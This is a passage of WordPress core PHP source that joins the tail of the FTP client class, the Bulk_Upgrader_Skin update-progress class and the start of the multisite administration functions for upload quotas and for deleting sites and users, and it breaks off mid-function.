				if(!$this->_exec("TYPE A", "SetType")) return FALSE;
				$this->_curtype=FTP_ASCII;
			}
		} else return FALSE;
		return TRUE;
	}

	function Passive($pasv=NULL) {
		if(is_null($pasv)) $this->_passive=!$this->_passive;
		else $this->_passive=$pasv;
		if(!$this->_port_available and !$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			$this->_passive=TRUE;
			return FALSE;
		}
		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
		return TRUE;
	}

	function SetServer($host, $port=21, $reconnect=true) {
		if(!is_long($port)) {
	        $this->verbose=true;
    	    $this->SendMSG("Incorrect port syntax");
			return FALSE;
		} else {
			$ip=@gethostbyname($host);
	        $dns=@gethostbyaddr($host);
	        if(!$ip) $ip=$host;
	        if(!$dns) $dns=$host;
	        // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false
	        // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid
	        $ipaslong = ip2long($ip);
			if ( ($ipaslong == false) || ($ipaslong === -1) ) {
				$this->SendMSG("Wrong host name/address \"".$host."\"");
				return FALSE;
			}
	        $this->_host=$ip;
	        $this->_fullhost=$dns;
	        $this->_port=$port;
	        $this->_dataport=$port-1;
		}
		$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
		if($reconnect){
			if($this->_connected) {
				$this->SendMSG("Reconnecting");
				if(!$this->quit(FTP_FORCE)) return FALSE;
				if(!$this->connect()) return FALSE;
			}
		}
		return TRUE;
	}

	function SetUmask($umask=0022) {
		$this->_umask=$umask;
		umask($this->_umask);
		$this->SendMSG("UMASK 0".decoct($this->_umask));
		return TRUE;
	}

	function SetTimeout($timeout=30) {
		$this->_timeout=$timeout;
		$this->SendMSG("Timeout ".$this->_timeout);
		if($this->_connected)
			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
		return TRUE;
	}

	function connect($server=NULL) {
		if(!empty($server)) {
			if(!$this->SetServer($server)) return false;
		}
		if($this->_ready) return true;
	    $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
		if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
			$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
			return FALSE;
		}
		$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
		do {
			if(!$this->_readmsg()) return FALSE;
			if(!$this->_checkCode()) return FALSE;
			$this->_lastaction=time();
		} while($this->_code<200);
		$this->_ready=true;
		$syst=$this->systype();
		if(!$syst) $this->SendMSG("Cannot detect remote OS");
		else {
			if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
			elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
			elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
			else $this->OS_remote=FTP_OS_Mac;
			$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
		}
		if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
		else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
		return TRUE;
	}

	function quit($force=false) {
		if($this->_ready) {
			if(!$this->_exec("QUIT") and !$force) return FALSE;
			if(!$this->_checkCode() and !$force) return FALSE;
			$this->_ready=false;
			$this->SendMSG("Session finished");
		}
		$this->_quit();
		return TRUE;
	}

	function login($user=NULL, $pass=NULL) {
		if(!is_null($user)) $this->_login=$user;
		else $this->_login="anonymous";
		if(!is_null($pass)) $this->_password=$pass;
		else $this->_password="anon@anon.com";
		if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		if($this->_code!=230) {
			if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		}
		$this->SendMSG("Authentication succeeded");
		if(empty($this->_features)) {
			if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
			else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
		}
		return TRUE;
	}

	function pwd() {
		if(!$this->_exec("PWD", "pwd")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message);
	}

	function cdup() {
		if(!$this->_exec("CDUP", "cdup")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return true;
	}

	function chdir($pathname) {
		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function rmdir($pathname) {
		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function mkdir($pathname) {
		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function rename($from, $to) {
		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		if($this->_code==350) {
			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		} else return FALSE;
		return TRUE;
	}

	function filesize($pathname) {
		if(!isset($this->_features["SIZE"])) {
			$this->PushError("filesize", "not supported by server");
			return FALSE;
		}
		if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
	}

	function abort() {
		if(!$this->_exec("ABOR", "abort")) return FALSE;
		if(!$this->_checkCode()) {
			if($this->_code!=426) return FALSE;
			if(!$this->_readmsg("abort")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		}
		return true;
	}

	function mdtm($pathname) {
		if(!isset($this->_features["MDTM"])) {
			$this->PushError("mdtm", "not supported by server");
			return FALSE;
		}
		if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$mdtm = preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
		$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
		$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
		return $timestamp;
	}

	function systype() {
		if(!$this->_exec("SYST", "systype")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$DATA = explode(" ", $this->_message);
		return array($DATA[1], $DATA[3]);
	}

	function delete($pathname) {
		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function site($command, $fnction="site") {
		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function chmod($pathname, $mode) {
		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
		return TRUE;
	}

	function restore($from) {
		if(!isset($this->_features["REST"])) {
			$this->PushError("restore", "not supported by server");
			return FALSE;
		}
		if($this->_curtype!=FTP_BINARY) {
			$this->PushError("restore", "cannot restore in ASCII mode");
			return FALSE;
		}
		if(!$this->_exec("REST ".$from, "restore")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function features() {
		if(!$this->_exec("FEAT", "features")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
		$this->_features=array();
		foreach($f as $k=>$v) {
			$v=explode(" ", trim($v));
			$this->_features[array_shift($v)]=$v;
		}
		return true;
	}

	function rawlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
	}

	function nlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
	}

	function is_exists($pathname) {
		return $this->file_exists($pathname);
	}

	function file_exists($pathname) {
		$exists=true;
		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
		else {
			if(!$this->_checkCode()) $exists=FALSE;
			$this->abort();
		}
		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
		else $this->SendMSG("Remote file ".$pathname." does not exist");
		return $exists;
	}

	function fget($fp, $remotefile, $rest=0) {
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("RETR ".$remotefile, "get")) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$out=$this->_data_read($mode, $fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $out;
	}

	function get($remotefile, $localfile=NULL, $rest=0) {
		if(is_null($localfile)) $localfile=$remotefile;
		if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
		$fp = @fopen($localfile, "w");
		if (!$fp) {
			$this->PushError("get","cannot open local file", "Cannot create \"".$localfile."\"");
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			fclose($fp);
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("RETR ".$remotefile, "get")) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		$out=$this->_data_read($mode, $fp);
		fclose($fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $out;
	}

	function fput($remotefile, $fp, $rest=0) {
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("STOR ".$remotefile, "put")) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$ret=$this->_data_write($mode, $fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $ret;
	}

	function put($localfile, $remotefile=NULL, $rest=0) {
		if(is_null($remotefile)) $remotefile=$localfile;
		if (!file_exists($localfile)) {
			$this->PushError("put","cannot open local file", "No such file or directory \"".$localfile."\"");
			return FALSE;
		}
		$fp = @fopen($localfile, "r");

		if (!$fp) {
			$this->PushError("put","cannot open local file", "Cannot read file \"".$localfile."\"");
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($localfile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			fclose($fp);
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("STOR ".$remotefile, "put")) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		$ret=$this->_data_write($mode, $fp);
		fclose($fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $ret;
	}

	function mput($local=".", $remote=NULL, $continious=false) {
		$local=realpath($local);
		if(!@file_exists($local)) {
			$this->PushError("mput","cannot open local folder", "Cannot stat folder \"".$local."\"");
			return FALSE;
		}
		if(!is_dir($local)) return $this->put($local, $remote);
		if(empty($remote)) $remote=".";
		elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
		if($handle = opendir($local)) {
			$list=array();
			while (false !== ($file = readdir($handle))) {
				if ($file != "." && $file != "..") $list[]=$file;
			}
			closedir($handle);
		} else {
			$this->PushError("mput","cannot open local folder", "Cannot read folder \"".$local."\"");
			return FALSE;
		}
		if(empty($list)) return TRUE;
		$ret=true;
		foreach($list as $el) {
			if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
			else $t=$this->put($local."/".$el, $remote."/".$el);
			if(!$t) {
				$ret=FALSE;
				if(!$continious) break;
			}
		}
		return $ret;

	}

	function mget($remote, $local=".", $continious=false) {
		$list=$this->rawlist($remote, "-lA");
		if($list===false) {
			$this->PushError("mget","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return FALSE;
		}
		if(empty($list)) return true;
		if(!@file_exists($local)) {
			if(!@mkdir($local)) {
				$this->PushError("mget","cannot create local folder", "Cannot create folder \"".$local."\"");
				return FALSE;
			}
		}
		foreach($list as $k=>$v) {
			$list[$k]=$this->parselisting($v);
			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
		}
		$ret=true;
		foreach($list as $el) {
			if($el["type"]=="d") {
				if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
					$this->PushError("mget", "cannot copy folder", "Cannot copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			} else {
				if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
					$this->PushError("mget", "cannot copy file", "Cannot copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			}
			@chmod($local."/".$el["name"], $el["perms"]);
			$t=strtotime($el["date"]);
			if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
		}
		return $ret;
	}

	function mdel($remote, $continious=false) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("mdel","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return false;
		}

		foreach($list as $k=>$v) {
			$list[$k]=$this->parselisting($v);
			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
		}
		$ret=true;

		foreach($list as $el) {
			if ( empty($el) )
				continue;

			if($el["type"]=="d") {
				if(!$this->mdel($remote."/".$el["name"], $continious)) {
					$ret=false;
					if(!$continious) break;
				}
			} else {
				if (!$this->delete($remote."/".$el["name"])) {
					$this->PushError("mdel", "cannot delete file", "Cannot delete remote file \"".$remote."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			}
		}

		if(!$this->rmdir($remote)) {
			$this->PushError("mdel", "cannot delete folder", "Cannot delete remote folder \"".$remote."/".$el["name"]."\"");
			$ret=false;
		}
		return $ret;
	}

	function mmkdir($dir, $mode = 0777) {
		if(empty($dir)) return FALSE;
		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
		if(!$this->mmkdir(dirname($dir), $mode)) return false;
		$r=$this->mkdir($dir, $mode);
		$this->chmod($dir,$mode);
		return $r;
	}

	function glob($pattern, $handle=NULL) {
		$path=$output=null;
		if(PHP_OS=='WIN32') $slash='\\';
		else $slash='/';
		$lastpos=strrpos($pattern,$slash);
		if(!($lastpos===false)) {
			$path=substr($pattern,0,-$lastpos-1);
			$pattern=substr($pattern,$lastpos);
		} else $path=getcwd();
		if(is_array($handle) and !empty($handle)) {
			foreach($handle as $dir) {
				if($this->glob_pattern_match($pattern,$dir))
				$output[]=$dir;
			}
		} else {
			$handle=@opendir($path);
			if($handle===false) return false;
			while($dir=readdir($handle)) {
				if($this->glob_pattern_match($pattern,$dir))
				$output[]=$dir;
			}
			closedir($handle);
		}
		if(is_array($output)) return $output;
		return false;
	}

	function glob_pattern_match($pattern,$subject) {
		$out=null;
		$chunks=explode(';',$pattern);
		foreach($chunks as $pattern) {
			$escape=array('$','^','.','{','}','(',')','[',']','|');
			while(str_contains($pattern,'**'))
				$pattern=str_replace('**','*',$pattern);
			foreach($escape as $probe)
				$pattern=str_replace($probe,"\\$probe",$pattern);
			$pattern=str_replace('?*','*',
				str_replace('*?','*',
					str_replace('*',".*",
						str_replace('?','.{1,1}',$pattern))));
			$out[]=$pattern;
		}
		if(count($out)==1) return($this->glob_regexp("^$out[0]$",$subject));
		else {
			foreach($out as $tester)
				// TODO: This should probably be glob_regexp(), but needs tests.
				if($this->my_regexp("^$tester$",$subject)) return true;
		}
		return false;
	}

	function glob_regexp($pattern,$subject) {
		$sensitive=(PHP_OS!='WIN32');
		return ($sensitive?
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $subject ) :
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $subject )
		);
	}

	function dirlist($remote) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("dirlist","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return false;
		}

		$dirlist = array();
		foreach($list as $k=>$v) {
			$entry=$this->parselisting($v);
			if ( empty($entry) )
				continue;

			if($entry["name"]=="." or $entry["name"]=="..")
				continue;

			$dirlist[$entry['name']] = $entry;
		}

		return $dirlist;
	}
// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->
	function _checkCode() {
		return ($this->_code<400 and $this->_code>0);
	}

	function _list($arg="", $cmd="LIST", $fnction="_list") {
		if(!$this->_data_prepare()) return false;
		if(!$this->_exec($cmd.$arg, $fnction)) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$out="";
		if($this->_code<200) {
			$out=$this->_data_read();
			$this->_data_close();
			if(!$this->_readmsg()) return FALSE;
			if(!$this->_checkCode()) return FALSE;
			if($out === FALSE ) return FALSE;
			$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
//			$this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
		}
		return $out;
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!-- Partie : gestion des erreurs                                                            -->
// <!-- --------------------------------------------------------------------------------------- -->
// Gnre une erreur pour traitement externe  la classe
	function PushError($fctname,$msg,$desc=false){
		$error=array();
		$error['time']=time();
		$error['fctname']=$fctname;
		$error['msg']=$msg;
		$error['desc']=$desc;
		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
		$this->SendMSG($fctname.': '.$msg.$tmp);
		return(array_push($this->_error_array,$error));
	}

// Rcupre une erreur externe
	function PopError(){
		if(count($this->_error_array)) return(array_pop($this->_error_array));
			else return(false);
	}
}

$mod_sockets = extension_loaded( 'sockets' );
if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
	$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
	@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.dlDeprecated
	$mod_sockets = extension_loaded( 'sockets' );
}

require_once __DIR__ . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";

if ( $mod_sockets ) {
	class ftp extends ftp_sockets {}
} else {
	class ftp extends ftp_pure {}
}
<?php
/**
 * Upgrader API: Bulk_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Bulk Upgrader Skin for WordPress Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
	public $in_loop = false;
	/**
	 * @var string|false
	 */
	public $error = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'nonce' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		parent::__construct( $args );
	}

	/**
	 */
	public function add_strings() {
		$this->upgrader->strings['skin_upgrade_start'] = __( 'The update process is starting. This process may take a while on some hosts, so please be patient.' );
		/* translators: 1: Title of an update, 2: Error message. */
		$this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while updating %1$s: %2$s' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_failed'] = __( 'The update of %s failed.' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_successful'] = __( '%s updated successfully.' );
		$this->upgrader->strings['skin_upgrade_end']       = __( 'All updates have been completed.' );
	}

	/**
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		if ( $this->in_loop ) {
			echo "$feedback<br />\n";
		} else {
			echo "<p>$feedback</p>\n";
		}
	}

	/**
	 */
	public function header() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 */
	public function footer() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 * @since 5.9.0 Renamed `$error` to `$errors` for PHP 8 named parameter support.
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( is_string( $errors ) && isset( $this->upgrader->strings[ $errors ] ) ) {
			$this->error = $this->upgrader->strings[ $errors ];
		}

		if ( is_wp_error( $errors ) ) {
			$messages = array();
			foreach ( $errors->get_error_messages() as $emessage ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$messages[] = $emessage . ' ' . esc_html( strip_tags( $errors->get_error_data() ) );
				} else {
					$messages[] = $emessage;
				}
			}
			$this->error = implode( ', ', $messages );
		}
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
	}

	/**
	 */
	public function bulk_header() {
		$this->feedback( 'skin_upgrade_start' );
	}

	/**
	 */
	public function bulk_footer() {
		$this->feedback( 'skin_upgrade_end' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		$this->in_loop = true;
		printf( '<h2>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h2>', $title, $this->upgrader->update_current, $this->upgrader->update_count );
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').css("display", "inline-block");</script>';
		// This progress messages div gets moved via JavaScript when clicking on "More details.".
		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr( $this->upgrader->update_current ) . '"><p>';
		$this->flush_output();
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		echo '</p></div>';
		if ( $this->error || ! $this->result ) {
			if ( $this->error ) {
				$after_error_message = sprintf( $this->upgrader->strings['skin_update_failed_error'], $title, '<strong>' . $this->error . '</strong>' );
			} else {
				$after_error_message = sprintf( $this->upgrader->strings['skin_update_failed'], $title );
			}
			wp_admin_notice(
				$after_error_message,
				array(
					'additional_classes' => array( 'error' ),
				)
			);

			echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js( $this->upgrader->update_current ) . '\').show();</script>';
		}
		if ( $this->result && ! is_wp_error( $this->result ) ) {
			if ( ! $this->error ) {
				echo '<div class="updated js-update-details" data-update-details="progress-' . esc_attr( $this->upgrader->update_current ) . '">' .
					'<p>' . sprintf( $this->upgrader->strings['skin_update_successful'], $title ) .
					' <button type="button" class="hide-if-no-js button-link js-update-details-toggle" aria-expanded="false">' . __( 'More details.' ) . '<span class="dashicons dashicons-arrow-down" aria-hidden="true"></span></button>' .
					'</p></div>';
			}

			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
		}

		$this->reset();
		$this->flush_output();
	}

	/**
	 */
	public function reset() {
		$this->in_loop = false;
		$this->error   = false;
	}

	/**
	 */
	public function flush_output() {
		wp_ob_end_flush_all();
		flush();
	}
}
<?php
/**
 * Multisite administration functions.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Determines whether uploaded file exceeds space quota.
 *
 * @since 3.0.0
 *
 * @param array $file An element from the `$_FILES` array for a given file.
 * @return array The `$_FILES` array element with 'error' key set if file exceeds quota. 'error' is empty otherwise.
 */
function check_upload_size( $file ) {
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return $file;
	}

	if ( $file['error'] > 0 ) { // There's already an error.
		return $file;
	}

	if ( defined( 'WP_IMPORTING' ) ) {
		return $file;
	}

	$space_left = get_upload_space_available();

	$file_size = filesize( $file['tmp_name'] );
	if ( $space_left < $file_size ) {
		/* translators: %s: Required disk space in kilobytes. */
		$file['error'] = sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) );
	}

	if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
		/* translators: %s: Maximum allowed file size in kilobytes. */
		$file['error'] = sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) );
	}

	if ( upload_is_user_over_quota( false ) ) {
		$file['error'] = __( 'You have used your space quota. Please delete files before uploading.' );
	}

	if ( $file['error'] > 0 && ! isset( $_POST['html-upload'] ) && ! wp_doing_ajax() ) {
		wp_die( $file['error'] . ' <a href="javascript:history.go(-1)">' . __( 'Back' ) . '</a>' );
	}

	return $file;
}

/**
 * Deletes a site.
 *
 * @since 3.0.0
 * @since 5.1.0 Use wp_delete_site() internally to delete the site row from the database.
 *
 * @param int  $blog_id Site ID.
 * @param bool $drop    True if site's database tables should be dropped. Default false.
 */
function wpmu_delete_blog( $blog_id, $drop = false ) {
	$blog_id = (int) $blog_id;

	$switch = false;
	if ( get_current_blog_id() !== $blog_id ) {
		$switch = true;
		switch_to_blog( $blog_id );
	}

	$blog = get_site( $blog_id );

	$current_network = get_network();

	// If a full blog object is not available, do not destroy anything.
	if ( $drop && ! $blog ) {
		$drop = false;
	}

	// Don't destroy the initial, main, or root blog.
	if ( $drop
		&& ( 1 === $blog_id || is_main_site( $blog_id )
			|| ( $blog->path === $current_network->path && $blog->domain === $current_network->domain ) )
	) {
		$drop = false;
	}

	$upload_path = trim( get_option( 'upload_path' ) );

	// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
	if ( $drop && get_site_option( 'ms_files_rewriting' ) && empty( $upload_path ) ) {
		$drop = false;
	}

	if ( $drop ) {
		wp_delete_site( $blog_id );
	} else {
		/** This action is documented in wp-includes/ms-blogs.php */
		do_action_deprecated( 'delete_blog', array( $blog_id, false ), '5.1.0' );

		$users = get_users(
			array(
				'blog_id' => $blog_id,
				'fields'  => 'ids',
			)
		);

		// Remove users from this blog.
		if ( ! empty( $users ) ) {
			foreach ( $users as $user_id ) {
				remove_user_from_blog( $user_id, $blog_id );
			}
		}

		update_blog_status( $blog_id, 'deleted', 1 );

		/** This action is documented in wp-includes/ms-blogs.php */
		do_action_deprecated( 'deleted_blog', array( $blog_id, false ), '5.1.0' );
	}

	if ( $switch ) {
		restore_current_blog();
	}
}

/**
 * Deletes a user and all of their posts from the network.
 *
 * This function:
 *
 * - Deletes all posts (of all post types) authored by the user on all sites on the network
 * - Deletes all links owned by the user on all sites on the network
 * - Removes the user from all sites on the network
 * - Deletes the user from the database
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id The user ID.
 * @return bool True if the user was deleted, false otherwise.
 */
function wpmu_delete_user( $id ) {
	global $wpdb;

	if ( ! is_numeric( $id ) ) {
		return false;
	}

	$id   = (int) $id;
	$user = new WP_User( $id );

	if ( ! $user->exists() ) {
		return false;
	}

	// Global super-administrators are protected, and cannot be deleted.
	$_super_admins = get_super_admins();
	if ( in_array( $user->user_login, $_super_admins, true ) ) {
		return false;
	}

	/**
	 * Fires before a user is deleted from the network.
	 *
	 * @since MU (3.0.0)
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int     $id   ID of the user about to be deleted from the network.
	 * @param WP_User $user WP_User object of the user about to be deleted from the network.
	 */
	do_action( 'wpmu_delete_user', $id, $user );

	$blogs = get_blogs_of_user( $id );

	if ( ! empty( $blogs ) ) {
		foreach ( $blogs as $blog ) {
			switch_to_blog( $blog->userblog_id );
			remove_user_from_blog( $id, $blog->userblog_id );

			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
			foreach ( (array) $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}

			// Clean links.
